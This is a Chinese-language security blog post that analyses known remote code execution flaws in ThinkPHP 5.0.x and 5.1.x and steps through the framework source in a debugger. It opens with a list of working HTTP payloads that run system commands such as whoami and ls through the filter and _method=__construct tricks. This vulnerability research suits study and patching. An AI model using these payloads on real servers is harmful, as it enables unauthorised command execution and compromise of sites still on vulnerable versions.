Thinkphp5 RCE
thinkphp5最出名的就是rce,rce有两个大版本的区别
- ThinkPHP 5.0.0-5.0.24
- ThinkPHP 5.1.0-5.1.30
RCE payload总结
因为漏洞具体触发点和版本的不同,导致payload分为了很多种,总体来看依然分两大种:
- 直接访问路由触发,由于未开启强制路由,且Request类在兼容模式下获取的控制器没有进行合法校验导致的rce
5.1.x :
1 | ?s=index/think\Request/input&filter[]=system&data=pwd |
5.0.x :
1 | ?s=index/think\config/get&name=database.username # 获取配置信息 |
- 另一种是因为Request类的
method
和__construct
方法造成的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
具体使用payload的时候可以多试几条。
method任意调用方法导致rce
在apache根目录composer安装
1 | composer create-project topthink/think tp 5.0.22 |
开启debug模式
环境
打开application/config.php
1 | return [ |
payload:
GET:http://localhost:8888/tp/public/
POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami`
Debug
咱们debug之前先看看Request.php中的关键方法__construct
在控制options的情况下可以实现对类中变量的覆盖
method方法,可以实现任意request类中方法的调用,其中这个$this->{$this->method}($_POST)
可以通过var_method
改变,var_method
可以通过POST传入_method
来改变。于是自然想到可以传入_method
=__construct
来进行变量覆盖
filterValue方法,只要我们控制了value和filter的值,call_user_func($filter, $value)
就可以实现任意方法的调用
接下来步入正题,打上断点跟着走,入口在public/index.php
会引入框架的start.php
,再跳到run()
方法
1 | public static function run(Request $request = null) |
首先是经过$dispatch = self::routeCheck($request, $config)
检查调用的路由
然后会根据debug开关来选择是否执行Request::instance()->param()
下面的switch方法是我们未开启debug模式时要利用的方法,这个我们后面细说
进入routeCheck方法
直接跳到check,check方法的关键在这里,调用了request变量的method方法,看监视可知$request=think\Request
,所以调用的就是request类里面的那个method方法
继续跟进,可以看到,由于我们是无参调用,所以这个method变量的值是false,从而进入到我们的任意request类方法调用环节,_method
=__construct
,传入的是construct,跳到construct:
进行变量覆盖,结合我们的payload中可知这次覆盖了两个变量,把filter变量覆盖成了system,把server变量覆盖成了REQUEST_METHOD=whoami
,变量覆盖完成,只需要调用即可,回到run方法中:
这是第二个关键点,由于我们的debug模式是true,所以进入到if语句,这里关键的地方就是调用了think\Request
的param()
方法,跟进:
这里再一次调用了request类的method方法,和上文不同的是传入的参数是true
直接调用server方法,传入的字符串是REQUEST_METHOD,跟进server,可以看到,由于我们先前进行了变量覆盖,这里的server不是空的,就可以绕过这个替换,维持原来的值,看到后面调用了input方法,传入的参数是之前覆盖了的server和REQUEST_METHOD这个字符串
第一处关键在这里,这里的意思就是将server[REQUEST_METHOD]
也就是whoami传给了data
第二处关键在这里,filterValue传进去的data就是我们的rce命令,也就是whoami,而filter就是我们之前变量覆盖后的system,最终在filterValue中的call_user_func完成命令执行,这个上文说了
总结
通过控制_method
使得调用_construct
方法,通过传入filter=system&server[REQUEST_METHOD]=whoami
来实现变量覆盖,最后通过debug模式开启,调用param()
方法来最终完成RCE
未开启debug模式
环境
打开application/config.php
1 | return [ |
cmd:composer require topthink/think-captcha=1.*
payload
GET:http://localhost:8888/tp/public/?s=captcha
POST:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami
Debug
前面的部分和debug模式下大相径庭,我们直接跳到if (self::$debug)
后面,继续往下看
跟进exec函数,发现当$dispatch['type']
是controller或者method的时候,会继续调用param()函数:
之后进入param()方法后的流程就和之前一样了,都是通过param进行rce,那我们需要考虑的问题就是怎么让$dispatch[‘type’]=method
在thinkphp5完整版中官网揉进去了一个验证码的路由,可以通过这个路由来使得$dispatch[‘type’] 等于 method
,从而完成rce漏洞。
具体操作就是直接通过路由访问GET:?s=captcha
之前的那种方法进入method
方法后,后面的代码就不用管了,但是这种方法下面的代码仍需要进行,故需要把请求方法设置成get才能访问路由,又因为method()
方法的返回值是return $this->method;
,所以__construct()
方法里面把$this->method
覆盖成get就可以,也就是说我们post传的参要多一个method=get
未开启强制路由导致RCE
环境
1 | composer create-project topthink/think=5.1.29 tp51x --prefer-dist |
composer.json
1 | "require": { |
然后composer update
payload
?s=index/think\Request/input&filter=system&data=whoami
Debug
环境默认采取了兼容模式且强制路由关闭,那么我们可以用兼容模式来调用控制器,当没有对控制器过滤时,我们可以调用任意的方法来执行
前面说过所有用户参数都会经过 Request
类的 input
方法处理,该方法会调用 filterValue
方法,而 filterValue
方法中使用了 call_user_func
,那么我们就来尝试利用这个方法
可以看到根本的逻辑就是先get构建app应用,再run,最后send返回结果,rce在run方法中发生,直接跳过get方法进入run方法
run方法前面也是一些初始化应用的操作,重点在这里,先通过routeCheck方法再通过init方法获得dispatch变量的值
跟进routeCheck,直接看获取dispatch部分,可以看到这里两个参数,一个是我们输入的s后面的路径,另一个must用来表示未开启强制路由模式:
跟进check方法,盯住变量检测栏,可以看到这里是把我们的/
换成|
,url变为了index|think\request|input
,后面还有很多处理,但是处理完之后还是不变:
最终routeCheck返回的dispatch就是index|think\request|input
,接着进行init方法的处理
跟进parseUrl方法,看如何解析我们传入的url,一通跟进
一句话解释就是将我们传入的url按照模块/控制器/方法
拆成了route数组,然后返回成最终的dispatch,回到run方法中
来到run方法中的下一个关键点
调用了dispatch的run方法,跟进其中的exec这个危险方法,这个方法的作用就是实例化了控制器think\request
,并且通过反射机制获取了url中传入的我们需要调用的方法input,且利用param方法获得请求参数,即filter=system&data=dir
,总的来说就是为rce做好了准备
绑定好参数之后最终调用request.php中的input方法,关键是这里:
跟进filterValue,发现里面直接call_user_func了,func是filter,data是参数,实现rce
总结
整体思路:由于未强制开启路由且是兼容模式,我们传入的参数会被成功解析并调用,相当于按模块/控制器/方法名
调用了input,再传入filter作为方法名,data作为参数实现rce
- Title: Thinkphp5 RCE
- Author: Saofe1a
- Created at : 2024-10-07 21:08:48
- Updated at : 2024-10-07 21:08:12
- Link: https://saofeia.github.io/2024/10/07/Thinkphp5--RCE/
- License: This work is licensed under CC BY-NC-SA 4.0.